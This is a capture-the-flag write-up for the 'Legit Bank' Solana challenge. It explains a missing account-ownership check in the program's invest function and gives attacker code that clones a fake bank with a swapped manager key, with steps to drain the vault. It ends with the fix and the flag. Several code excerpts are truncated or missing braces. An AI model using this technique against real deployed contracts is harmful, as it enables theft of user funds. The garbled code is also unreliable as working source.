Zoomer Crypto

Legit Bank

Jonah1005 (@jonah1005w)

This challenge is solved after the CTF ends.

Legit Bank seems to be a simple defi system with five entrypoints. Users can deposit into the bank and receive the interest. Since there's no on-chain borrowing in the bank, it seems to be some undercollaterized defi protocol like maple finance, TrueFi, etc.


Bank manager would call invest to send the funds to a receiver. The vulnerability lies in the function invest

/// See struct BankInstruction for docs
fn invest(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult {
    let [bank_info, vault_info, vault_authority_info, dest_token_account_info, manager_info, _spl_token_program] =
        array_ref![accounts, 0, 6];
    // verify that manager has approved
    if !manager_info.is_signer {
        return Err(ProgramError::MissingRequiredSignature);

    // verify that manager is correct
    let bank: Bank = Bank::try_from_slice(&;
    if bank.manager_key != manager_info.key.to_bytes() {
        return Err(0xbeefbeef.into());

    // verify that the vault is correct
    if vault_info.key.as_ref() != &bank.vault_key {
        return Err(ProgramError::InvalidArgument);

    // verify that enough money is left in reserve
    let vault = spl_token::state::Account::unpack(&;
    if (vault.amount - amount) * 100 < bank.total_deposit * u64::from(bank.reserve_rate) {
        return Err(0xfeedf00d.into());

    // transfer tokens to manager
        &[&[vault_info.key.as_ref(), &[bank.vault_authority_seed]]],


The program would check whether the bank_manager is signed.

Here's how the problem is. The program reads the address of bank_manager from the bank. Since the bank is provieded by the user, an attacker can provide a fake bank and replace the bank_manger with his own address.

I simply create a new function in the program to clone a bank and replace the bank_manager.

/// See struct BankInstruction for docs
fn clone(_program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult {
    let [target_bank_info, cloned_bank_info, manager_info] =
        array_ref![accounts, 0, 3];

    // verify that manager is correct
    let bank: Bank = Bank::try_from_slice(&;
    let mut cloned_bank: Bank = Bank::try_from_slice(&;
    cloned_bank.manager_key = manager_info.key.to_bytes();
    cloned_bank.vault_key = bank.vault_key;
    cloned_bank.vault_authority_seed = bank.vault_authority_seed;
    cloned_bank.reserve_rate = bank.reserve_rate;
    cloned_bank.serialize(&mut &mut[..])?;



  1. Create a data account and clone a fake bank
  2. Replace manager_key in the fake bank. Since the fake bank is created by the attacker, we can replace whatever field we want.
  3. Call invest with the fake_bank and invest to ourself. Note: the rest of the parameters should be the same as the token belongs to the vault and authority.


Since Solana handles data differently from Ethereum, users would have to specify the data their using and provided info in the transactions. As this breaks dependency between transactions and boosts the network efficiency, developers from the Ethereum community may have some false assumptions of program's storage. Solend's been hacked for the similar issue. Report

The legit bank checks the correctness of bank address in deposit and withdraw, however, the check is missed in the invest function.

    // check that the bank account is correct
    let (bank_address, _) = Pubkey::find_program_address(&[], program_id);
    if *bank_info.key != bank_address {
        return Err(ProgramError::InvalidArgument);

Or a more simple way is to check whether the bank.owner == program_id as only account's owner can modify its data.

The flag is:

ALLES!{Some Smart Contracts are not very smart :(}